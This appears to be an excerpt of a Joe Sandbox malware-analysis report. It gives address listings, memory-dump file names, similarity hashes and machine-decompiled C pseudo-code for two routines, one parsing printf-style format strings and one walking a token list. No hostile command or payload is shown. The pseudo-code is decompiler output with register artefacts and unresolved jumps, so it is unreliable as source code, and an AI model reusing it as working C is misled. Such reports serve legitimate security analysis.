                                                                                                                                                                            0x0042edae
                                                                                                                                                                            0x0042edb1
                                                                                                                                                                            0x0042edb3
                                                                                                                                                                            0x0042edb5
                                                                                                                                                                            0x0042edbb
                                                                                                                                                                            0x0042edbe
                                                                                                                                                                            0x0042edc2
                                                                                                                                                                            0x0042edc7
                                                                                                                                                                            0x0042edcc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042edf0
                                                                                                                                                                            0x0042edf2
                                                                                                                                                                            0x0042edf7
                                                                                                                                                                            0x0042edfa
                                                                                                                                                                            0x0042edfc
                                                                                                                                                                            0x0042ed7b
                                                                                                                                                                            0x0042ed7b
                                                                                                                                                                            0x0042ed7d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed7d
                                                                                                                                                                            0x0042ee02
                                                                                                                                                                            0x0042ee08
                                                                                                                                                                            0x0042ee09
                                                                                                                                                                            0x0042ee0a
                                                                                                                                                                            0x0042ee0f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec21
                                                                                                                                                                            0x0040ae4f
                                                                                                                                                                            0x0040ae4f
                                                                                                                                                                            0x0040ae55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ae55
                                                                                                                                                                            0x0040ae02
                                                                                                                                                                            0x0040ac10
                                                                                                                                                                            0x0040ac10
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ac10

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _malloc
                                                                                                                                                                            • String ID: Default$|k
                                                                                                                                                                            • API String ID: 1579825452-2254895183
                                                                                                                                                                            • Opcode ID: 4555d5624e462674212b72ef22bd947746031a5230a0f03379e6f165f20185ab
                                                                                                                                                                            • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                                            • Opcode Fuzzy Hash: 4555d5624e462674212b72ef22bd947746031a5230a0f03379e6f165f20185ab
                                                                                                                                                                            • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 84%
                                                                                                                                                                            			E00469BED(void* __edx, void* __eflags, void* __fp0, signed int _a4, signed int _a8, void* _a16, char _a20, intOrPtr _a24, intOrPtr _a28, signed int _a32, signed int _a36, char _a40, char _a44, char _a48, intOrPtr _a52, char _a60, char _a64, char _a124, char _a128, char _a131196, short _a262266) {
				signed int _v0;
				char _v4;
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v20;
				char _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t100;
				intOrPtr* _t110;
				void* _t119;
				void* _t131;
				void* _t132;
				void* _t151;
				void* _t157;
				char _t160;
				signed int _t171;
				intOrPtr _t173;
				void* _t176;
				signed int _t177;
				signed int _t178;
				void* _t179;
				signed int _t186;
				void* _t188;

				_t188 = __fp0;
				_t179 = __eflags;
				_t151 = __edx;
				_t178 = _t177 & 0xfffffff8;
				E00425210(0x4008c);
				_push(_t131);
				_v0 =  *((intOrPtr*)(_a4 + 8));
				_push(_t157);
				E00401400(0x400, _t131,  &_a4, _t157, _t179);
				_t132 = E00453063( *( *(_a4 + 4)));
				E0040C060( &_a40, _t179);
				E0040D4C0( &_a60, _t179);
				_t170 =  &_a16;
				E00401B70(_t132, L"\\\\[\\\\nrt]|%%|%[-+ 0#]?([0-9]*|\\*)?(\\.[0-9]*|\\.\\*)?[hlL]?[diouxXeEfgGs]",  &_a16, _t179);
				E0046865B( &_a60, _t151, _t179,  &_a60,  &_a32,  &_a16);
				E00402620(_t170);
				_t152 =  &_a48;
				E004602EB(_t170,  &_a48, _t132);
				_t171 = 0;
				_t100 = _v24 - 1;
				_t160 = 0;
				_v4 = 0x48af14;
				_v0 = 0;
				_a4 = 0;
				_a8 = 0;
				_v28 = 0;
				_a36 = _t100;
				if( *((intOrPtr*)(_t132 + 4)) > 0) {
					while(1) {
						_t178 = _t178 - 8;
						_v24 = _t160;
						_v20 = 0xffffffff;
						_t152 =  &_a64;
						_t100 = E004541A1( &_a64,  &_a20);
						if(_t100 <= _t171) {
							goto L23;
						}
						_t110 =  *_a16;
						_t173 =  *_t110;
						_v8 =  *((intOrPtr*)(_t110 + 8));
						E0040C170(_t173 - _t160, _t132,  &_v4, _t188, _t160);
						_t164 = _v12;
						_a24 = _v12 + _t173;
						if( *((short*)(E00438A19(_t132, _t173))) != 0x25) {
							L7:
							_t100 = E00438A19(_t132, _t173);
							__eflags =  *_t100 - 0x5c;
							if( *_t100 != 0x5c) {
								__eflags = _v12 - _a52;
								if(__eflags != 0) {
									_v12 = _v12 + 1;
									E004608CE( &_a36, _t132, _t173, _t164);
									_t119 = ( *(E00401BE0(_a24 - 1,  &_a20, __eflags)) & 0x0000ffff) + 0xffffffbb;
									__eflags = _t119 - 0x33;
									if(_t119 <= 0x33) {
										switch( *((intOrPtr*)(( *(_t119 + 0x469f25) & 0x000000ff) * 4 +  &M00469F15))) {
											case 0:
												__ecx = _a4;
												__edx =  *(_a4 + 4);
												__eax = _v12;
												__ecx =  *( *(_a4 + 4) + _v12 * 4);
												__eax = E0040BE90( *( *(_a4 + 4) + _v12 * 4));
												__ecx = _a36;
												__esp = __esp - 8;
												 *__esp = __fp0;
												_push(_a36);
												__edx =  &_a128;
												_push(__edx);
												__eax = E0041353A(__edx, __edi, __esi);
												__esp = __esp + 0x10;
												goto L21;
											case 1:
												_t122 = E0040C760( *( *(_a4 + 4) + _v12 * 4));
												_t156 = _a36;
												_push(_t122);
												_push(_a36);
												_push( &_a128);
												goto L20;
											case 2:
												__eax = _a4;
												__ecx =  *(_a4 + 4);
												__edx = _v12;
												 *( *(_a4 + 4) + _v12 * 4) = E00453081( *( *(_a4 + 4) + _v12 * 4));
												 &_a131196 = E0041326A( &_a131196,  &_a131196, 0xffff);
												__eax = _a32;
												__ecx = 0;
												__eflags = 0;
												__edx =  &_a131196;
												_push(__edx);
												_a262266 = __cx;
												_push(_a32);
												__ecx =  &_a124;
												_push( &_a124);
												L20:
												E0041353A(_t156, _t166, _t174);
												_t178 = _t178 + 0xc;
												goto L21;
											case 3:
												goto L21;
										}
									}
									L21:
									_t100 = E0040D330( &_v4, _t132,  &_a128, _t188);
								}
							} else {
								_t100 = ( *(E00438A19(_t132, _t173 + 1)) & 0x0000ffff) + 0xffffffa4;
								__eflags = _t100 - 0x18;
								if(__eflags <= 0) {
									switch( *((intOrPtr*)(( *(_t100 + 0x469ef9) & 0x000000ff) * 4 +  &M00469EE5))) {
										case 0:
											__eax =  &_v4;
											__eax = E00403470( &_v4, __ebx, __ebp, __fp0, 0x5c);
											goto L22;
										case 1:
											_t100 = E00403470( &_v4, _t132, _t176, _t188, 0xa);
											goto L22;
										case 2:
											__eax =  &_v4;
											__eax = E00403470( &_v4, __ebx, __ebp, __fp0, 0xd);
											goto L22;
										case 3:
											__eax =  &_v4;
											__eax = E00403470( &_v4, __ebx, __ebp, __fp0, 9);
											goto L22;
										case 4:
											goto L22;
									}
								}
							}
						} else {
							_t30 = _t173 + 1; // 0x1
							if( *((short*)(E00438A19(_t132, _t30))) != 0x25) {
								goto L7;
							} else {
								_t100 = E00403470( &_v4, _t132, _t176, _t188, 0x25);
							}
						}
						L22:
						_t152 = _a28;
						_t160 = _t152;
						if(_t152 <  *((intOrPtr*)(_t132 + 4))) {
							_t171 = 0;
							__eflags = 0;
							continue;
						}
						goto L23;
					}
				}
				L23:
				if(_t160 <  *((intOrPtr*)(_t132 + 4))) {
					_t186 = _t100 | 0xffffffff;
					E0040C170(_t100 | 0xffffffff, _t132,  &_a4, _t188, _t160);
				}
				E0040E6D0(_a8, _t186);
				E00434222(_a8,  &_a20, _t152, _a4);
				E00401360( &_a64);
				E00402620( &_a44);
				E00402620( &_a4);
				return 0;
			}






























                                                                                                                                                                            0x00469bed
                                                                                                                                                                            0x00469bed
                                                                                                                                                                            0x00469bed
                                                                                                                                                                            0x00469bf0
                                                                                                                                                                            0x00469bf8
                                                                                                                                                                            0x00469bfd
                                                                                                                                                                            0x00469c05
                                                                                                                                                                            0x00469c09
                                                                                                                                                                            0x00469c13
                                                                                                                                                                            0x00469c27
                                                                                                                                                                            0x00469c29
                                                                                                                                                                            0x00469c32
                                                                                                                                                                            0x00469c3c
                                                                                                                                                                            0x00469c40
                                                                                                                                                                            0x00469c50
                                                                                                                                                                            0x00469c57
                                                                                                                                                                            0x00469c5d
                                                                                                                                                                            0x00469c62
                                                                                                                                                                            0x00469c6b
                                                                                                                                                                            0x00469c6d
                                                                                                                                                                            0x00469c6e
                                                                                                                                                                            0x00469c73
                                                                                                                                                                            0x00469c7b
                                                                                                                                                                            0x00469c7f
                                                                                                                                                                            0x00469c83
                                                                                                                                                                            0x00469c87
                                                                                                                                                                            0x00469c8b
                                                                                                                                                                            0x00469c8f
                                                                                                                                                                            0x00469c9f
                                                                                                                                                                            0x00469c9f
                                                                                                                                                                            0x00469ca2
                                                                                                                                                                            0x00469ca5
                                                                                                                                                                            0x00469cb2
                                                                                                                                                                            0x00469cb7
                                                                                                                                                                            0x00469cbe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469cc8
                                                                                                                                                                            0x00469ccd
                                                                                                                                                                            0x00469ccf
                                                                                                                                                                            0x00469cdc
                                                                                                                                                                            0x00469ce1
                                                                                                                                                                            0x00469cea
                                                                                                                                                                            0x00469cf7
                                                                                                                                                                            0x00469d19
                                                                                                                                                                            0x00469d1b
                                                                                                                                                                            0x00469d20
                                                                                                                                                                            0x00469d24
                                                                                                                                                                            0x00469d8f
                                                                                                                                                                            0x00469d93
                                                                                                                                                                            0x00469d99
                                                                                                                                                                            0x00469da5
                                                                                                                                                                            0x00469dbb
                                                                                                                                                                            0x00469dbe
                                                                                                                                                                            0x00469dc1
                                                                                                                                                                            0x00469dce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469df7
                                                                                                                                                                            0x00469dfa
                                                                                                                                                                            0x00469dfd
                                                                                                                                                                            0x00469e01
                                                                                                                                                                            0x00469e04
                                                                                                                                                                            0x00469e09
                                                                                                                                                                            0x00469e0d
                                                                                                                                                                            0x00469e10
                                                                                                                                                                            0x00469e13
                                                                                                                                                                            0x00469e14
                                                                                                                                                                            0x00469e1b
                                                                                                                                                                            0x00469e1c
                                                                                                                                                                            0x00469e21
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469de2
                                                                                                                                                                            0x00469de7
                                                                                                                                                                            0x00469deb
                                                                                                                                                                            0x00469dec
                                                                                                                                                                            0x00469df4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469e26
                                                                                                                                                                            0x00469e29
                                                                                                                                                                            0x00469e2c
                                                                                                                                                                            0x00469e39
                                                                                                                                                                            0x00469e47
                                                                                                                                                                            0x00469e4c
                                                                                                                                                                            0x00469e53
                                                                                                                                                                            0x00469e53
                                                                                                                                                                            0x00469e55
                                                                                                                                                                            0x00469e5c
                                                                                                                                                                            0x00469e5d
                                                                                                                                                                            0x00469e65
                                                                                                                                                                            0x00469e66
                                                                                                                                                                            0x00469e6d
                                                                                                                                                                            0x00469e6e
                                                                                                                                                                            0x00469e6e
                                                                                                                                                                            0x00469e73
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469dce
                                                                                                                                                                            0x00469e76
                                                                                                                                                                            0x00469e81
                                                                                                                                                                            0x00469e81
                                                                                                                                                                            0x00469d26
                                                                                                                                                                            0x00469d31
                                                                                                                                                                            0x00469d34
                                                                                                                                                                            0x00469d37
                                                                                                                                                                            0x00469d44
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d7d
                                                                                                                                                                            0x00469d81
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d51
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d5d
                                                                                                                                                                            0x00469d61
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d6d
                                                                                                                                                                            0x00469d71
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d44
                                                                                                                                                                            0x00469d37
                                                                                                                                                                            0x00469cf9
                                                                                                                                                                            0x00469cf9
                                                                                                                                                                            0x00469d07
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469d09
                                                                                                                                                                            0x00469d0f
                                                                                                                                                                            0x00469d0f
                                                                                                                                                                            0x00469d07
                                                                                                                                                                            0x00469e86
                                                                                                                                                                            0x00469e86
                                                                                                                                                                            0x00469e8d
                                                                                                                                                                            0x00469e8f
                                                                                                                                                                            0x00469c9d
                                                                                                                                                                            0x00469c9d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469c9d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469e8f
                                                                                                                                                                            0x00469c9f
                                                                                                                                                                            0x00469e95
                                                                                                                                                                            0x00469e98
                                                                                                                                                                            0x00469e9b
                                                                                                                                                                            0x00469ea2
                                                                                                                                                                            0x00469ea2
                                                                                                                                                                            0x00469eae
                                                                                                                                                                            0x00469eb7
                                                                                                                                                                            0x00469ec0
                                                                                                                                                                            0x00469ec9
                                                                                                                                                                            0x00469ed2
                                                                                                                                                                            0x00469edf

                                                                                                                                                                            Strings
                                                                                                                                                                            • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen
                                                                                                                                                                            • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                                            • API String ID: 176396367-557222456
                                                                                                                                                                            • Opcode ID: 05e1b018147aed282f79f116f183daeb9dc862b539b2a65b9b9a41577d57b657
                                                                                                                                                                            • Instruction ID: ee4acdf3c96327ae22a3df5f5b4f890b4de0c7d3b79387d634d87417fcde4e10
                                                                                                                                                                            • Opcode Fuzzy Hash: 05e1b018147aed282f79f116f183daeb9dc862b539b2a65b9b9a41577d57b657
                                                                                                                                                                            • Instruction Fuzzy Hash: 938181711183009FC310EF65C88186BB7E8AF85714F408A2FF4959B2A2E778ED45CB9B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 78%
                                                                                                                                                                            			E0042D2CC(void** __ebx, void* __ecx, signed int __edi, void* __esi, void* __fp0) {
				void** _t814;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				void** _t827;
				void* _t828;
				void* _t829;
				intOrPtr _t832;
				void* _t838;
				void* _t839;
				intOrPtr _t840;
				intOrPtr _t843;
				void* _t845;
				void* _t846;
				void* _t852;
				intOrPtr _t854;
				void* _t855;
				intOrPtr _t856;
				void** _t858;
				signed int _t859;
				void* _t959;
				void* _t961;
				signed int _t962;
				void* _t964;
				void* _t977;
				void* _t979;
				void* _t1010;
				void* _t1013;
				void* _t1015;
				signed int _t1016;
				void* _t1018;
				intOrPtr* _t1030;
				signed int _t1031;
				signed int _t1033;
				signed int _t1047;
				signed int _t1048;
				intOrPtr _t1049;
				void* _t1051;
				signed int _t1054;
				signed int _t1058;
				void** _t1069;
				signed int* _t1071;
				signed int _t1073;
				signed int* _t1074;
				signed int _t1076;
				signed int _t1077;
				signed int _t1081;
				signed int _t1082;
				void** _t1083;
				signed int* _t1085;
				signed int _t1086;
				signed int _t1089;
				signed int _t1090;
				void* _t1091;
				signed int _t1093;
				void* _t1094;
				signed int _t1095;
				void** _t1096;
				void* _t1097;
				signed int _t1099;
				void* _t1100;
				signed int _t1102;
				signed int _t1103;
				intOrPtr _t1104;
				signed int _t1105;
				signed int _t1107;
				void* _t1109;
				signed int _t1114;
				signed int _t1120;
				signed int _t1121;
				signed int _t1124;
				signed int _t1125;
				signed int _t1131;
				void* _t1133;
				signed int _t1136;
				void* _t1139;
				signed int _t1141;
				signed int _t1143;
				signed int _t1145;
				signed int _t1146;
				signed int _t1150;
				signed int _t1151;
				void* _t1152;
				void* _t1153;
				signed int _t1165;
				signed int _t1170;
				intOrPtr* _t1172;
				signed int _t1174;
				signed int _t1175;
				intOrPtr _t1177;
				signed int** _t1181;
				intOrPtr* _t1183;
				void* _t1186;
				signed int _t1189;
				void* _t1196;
				signed int _t1204;
				void* _t1205;
				signed int _t1206;
				signed int _t1207;
				signed int _t1209;
				void** _t1213;
				signed int _t1214;
				signed int _t1215;
				void** _t1229;
				signed int _t1232;
				signed int* _t1234;
				void** _t1235;
				void** _t1239;
				void* _t1240;
				void** _t1241;
				signed int _t1242;
				void* _t1243;
				signed int _t1252;
				intOrPtr _t1259;
				intOrPtr _t1260;
				void* _t1279;
				void* _t1282;
				void* _t1283;
				void* _t1288;
				void* _t1289;
				void* _t1290;
				intOrPtr* _t1291;
				signed int _t1296;
				signed int _t1308;
				signed int _t1309;
				signed int _t1311;
				signed int _t1312;
				intOrPtr* _t1314;
				intOrPtr* _t1320;
				intOrPtr* _t1335;
				void* _t1338;
				intOrPtr* _t1346;
				signed int _t1350;
				intOrPtr _t1364;
				intOrPtr _t1365;
				signed int _t1373;
				intOrPtr _t1374;
				intOrPtr _t1378;
				intOrPtr _t1382;
				signed int _t1393;
				void* _t1418;
				signed int _t1427;
				intOrPtr _t1431;
				intOrPtr _t1434;
				signed int _t1435;
				signed int _t1439;
				void* _t1450;
				signed int _t1458;
				intOrPtr _t1474;
				void** _t1482;
				intOrPtr* _t1483;
				signed int* _t1484;
				signed int* _t1485;
				intOrPtr* _t1486;
				void* _t1487;
				void* _t1490;
				signed int _t1500;
				signed int _t1501;
				signed int _t1502;
				signed int _t1504;
				signed int _t1509;
				signed int* _t1510;
				signed int* _t1511;
				void** _t1517;
				signed int _t1518;
				intOrPtr _t1519;
				void* _t1520;
				signed int _t1526;
				signed int _t1527;
				signed int* _t1528;
				signed int _t1530;
				intOrPtr _t1531;
				signed int _t1533;
				void* _t1539;
				void* _t1541;
				void* _t1558;
				void* _t1560;
				void* _t1561;
				void* _t1603;
				signed int _t1613;
				signed int* _t1616;
				void* _t1634;
				void* _t1643;
				void* _t1745;

				L0:
				while(1) {
					L0:
					_t1745 = __fp0;
					_t1480 = __edi;
					_t1229 = __ebx;
					if( *(_t1541 + 0x20) == 0) {
						goto L286;
					}
					L287:
					__eax = E0041171A(__ebx, __edi, __eflags);
					__esp = __esp + 4;
					 *__ebx = __eax;
					__eax =  *0x482434(__eax, 0x10);
					__ecx =  *(__esp + 0x20);
					__edx =  *__ebx;
					__eflags =  *0x482430(__edx, __ecx);
					if(__eflags < 0) {
						__eax =  *__ebx;
						__eax =  *0x48242c( *__ebx);
						__ecx =  *__ebx;
						__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags,  *__ebx);
						 *__ebx = 0;
					}
					while(1) {
						L19:
						_t814 = _t1229;
						while(1) {
							L20:
							_t1230 =  *(_t1541 + 0x14);
							 *(_t1480 + _t1504 * 4) = _t814;
							 *(_t1541 + 0x3c) = _t1504 + 1;
							if(L0040AB50( *(_t1539 + 8), _t1745,  *((intOrPtr*)(_t1539 + 0xc)), _t1541 + 0x60,  *((intOrPtr*)(_t1480 + (_t1504 + 1) * 4 - 4)), _t1230) != 0) {
								break;
							} else {
								_t821 =  *(_t1541 + 0x10);
								 *(_t1541 + 0x10) = _t821 + 1;
								if( *((short*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + 4 + _t821 * 4)) + 8)) == 0x41) {
									 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 2;
								}
								goto L22;
							}
							while(1) {
								L22:
								_t1390 =  *(_t1541 + 0x58);
								if(_t1390 == _t1230) {
									break;
								}
								L23:
								_t1531 =  *((intOrPtr*)(_t1539 + 0xc));
								if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1531 + 4)) + _t1390 * 4)) + 8)) != 0x40) {
									L303:
									_push( *((short*)(_t1390 + 0xa)));
									_push(0x6f);
									L577:
									_push( *(_t1539 + 8));
									L578:
									E0045E62E(_t1745);
									goto L579;
								}
								L24:
								_t1165 = _t1390 + 1;
								if(_t1165 ==  *(_t1541 + 0x14)) {
									goto L303;
								} else {
									_t1390 = _t1165;
									 *(_t1541 + 0x58) = _t1390;
									if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) +  *(_t1541 + 0x10) * 4)) + 8)) == 0x40) {
										 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 1;
									}
									L27:
									_t1170 =  *(_t1541 + 0x80) + 1;
									 *(_t1541 + 0x80) = _t1170;
									if(_t1170 <  *((intOrPtr*)(_t1541 + 0x74))) {
										L1:
										if(_t1390 >=  *(_t1541 + 0x14)) {
											break;
										}
										L2:
										 *(_t1541 + 0x5c) =  &(( *(_t1541 + 0x5c))[0]);
										_t1172 =  *( *(_t1541 + 0x60) + 4) +  *(_t1541 + 0x10) * 4;
										_t1480 = 0;
										_t1230 = 0;
										if( *((intOrPtr*)( *_t1172 + 8)) == 0) {
											do {
												L246:
												_t1364 =  *((intOrPtr*)( *_t1172));
												__eflags = _t1364 - 0x24;
												if(_t1364 != 0x24) {
													L248:
													__eflags = _t1364 - 0x1e;
													if(_t1364 != 0x1e) {
														L300:
														_push(0xffffffff);
														_push(0x91);
														goto L577;
													} else {
														_t1480 = 0x100;
														goto L250;
													}
												} else {
													_t1230 = 1;
												}
												L250:
												_t1365 =  *((intOrPtr*)(_t1172 + 4));
												 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 1;
												_t1172 = _t1172 + 4;
												__eflags =  *((short*)(_t1365 + 8));
											} while (__eflags == 0);
										}
										L3:
										if( *((short*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) + _t1390 * 4)) + 8)) != 0x33) {
											_t1230 = 0;
										}
										L5:
										_t1533 =  *(_t1541 + 0x6c);
										_t1174 =  *(_t1541 + 0x70);
										_t1570 = _t1533 - _t1174;
										if(_t1533 == _t1174) {
											_t1175 = _t1174 + _t1174;
											__eflags = _t1175 - 4;
											if(__eflags < 0) {
												_t1175 = 4;
											}
											 *(_t1541 + 0x70) = _t1175;
											_push( ~(0 | __eflags > 0x00000000) | _t1175 * 0x00000004);
											_t1177 = E0041171A(_t1230, _t1480, __eflags);
											_t1560 = _t1541 + 4;
											 *((intOrPtr*)(_t1560 + 0x58)) = _t1177;
											E00410F70(_t1230, _t1480, _t1533, _t1177,  *(_t1541 + 0x6c), _t1533 * 4);
											_t1561 = _t1560 + 0xc;
											E004112EF(_t1230,  *(_t1541 + 0x6c), _t1480, _t1533, __eflags,  *((intOrPtr*)(_t1560 + 0x74)));
											_t1541 = _t1561 + 4;
											 *(_t1541 + 0x68) =  *(_t1561 + 0x50);
										}
										L6:
										_push(1);
										_t1181 = E0041171A(_t1230, _t1480, _t1570);
										_t1541 = _t1541 + 4;
										if(_t1181 == 0) {
											_t1181 = 0;
										} else {
											 *_t1181 = _t1230;
										}
										L8:
										_t1390 =  *(_t1541 + 0x68);
										 *( *(_t1541 + 0x68) + _t1533 * 4) = _t1181;
										_t1534 = _t1533 + 1;
										 *(_t1541 + 0x6c) = _t1533 + 1;
										if(_t1230 != 0) {
											L253:
											_t1373 =  *(_t1541 + 0x58);
											_t1183 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) + _t1373 * 4));
											__eflags =  *((short*)(_t1183 + 8)) - 0x33;
											if( *((short*)(_t1183 + 8)) != 0x33) {
												L301:
												_t1374 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) + _t1373 * 4));
												_t1390 =  *((short*)(_t1374 + 0xa));
												_push( *((short*)(_t1374 + 0xa)));
												_push(0x91);
												_push( *(_t1539 + 8));
												goto L578;
											}
											L254:
											_t1376 = 0;
											_t1186 = E0040C3E0(0,  *_t1183, _t1541 + 0x20, _t1541 + 0x18);
											__eflags = _t1186;
											if(_t1186 == 0) {
												L302:
												_t1378 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) +  *(_t1541 + 0x58) * 4));
												_t1390 =  *((short*)(_t1378 + 0xa));
												_push( *((short*)(_t1378 + 0xa)));
												_push(0x79);
												_push( *(_t1539 + 8));
												goto L578;
											}
											L255:
											__eflags =  *(_t1541 + 0x18) & 0x00000100;
											if(( *(_t1541 + 0x18) & 0x00000100) == 0) {
												L258:
												_t1189 =  *(_t1541 + 0x1c);
												_t1480 = 1;
												 *(_t1541 + 0x58) =  *(_t1541 + 0x58) + 1;
												 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 1;
												__eflags =  *((intOrPtr*)(_t1189 + 8)) - 5;
												if( *((intOrPtr*)(_t1189 + 8)) != 5) {
													L262:
													E004092C0(_t1480, _t1541 + 0x20);
													 *(_t1541 + 0x2c) = 6;
													 *(_t1541 + 0x24) =  *(_t1541 + 0x1c);
													E0040BE00(_t1230, _t1376, _t1480, _t1541 + 0x34, _t1539, _t1541 + 0x20);
													_t1230 =  *(_t1541 + 0x14);
													continue;
												}
												L259:
												_t1376 =  *((intOrPtr*)(_t1539 + 0xc));
												_t1474 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) +  *(_t1541 + 0x58) * 4));
												__eflags =  *((short*)(_t1474 + 8)) - 0x4e;
												if( *((short*)(_t1474 + 8)) != 0x4e) {
													goto L262;
												}
												L260:
												_t1475 =  *(_t1539 + 8);
												_t1196 = E0040C620(_t1541 + 0x64, _t1376, _t1745,  *(_t1539 + 8), _t1541 + 0x20, 0);
												__eflags = _t1196;
												if(_t1196 == 0) {
													goto L262;
												} else {
													E004092C0(1, _t1541 + 0x20);
													E00434222(_t1230, _t1541 + 0x64, _t1475, 1);
													E00410AE0(_t1541 + 0x30, _t1475, 1);
													_t820 = 1;
													L236:
													return _t820;
												}
											}
											L256:
											__eflags = _t1480 & 0x00000100;
											if((_t1480 & 0x00000100) != 0) {
												goto L258;
											} else {
												_t1382 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1539 + 0xc)) + 4)) +  *(_t1541 + 0x58) * 4));
												_t1390 =  *((short*)(_t1382 + 0xa));
												_push( *((short*)(_t1382 + 0xa)));
												_push(0xb0);
												_push( *(_t1539 + 8));
												goto L578;
											}
										} else {
											_t1202 =  *(_t1541 + 0x2c);
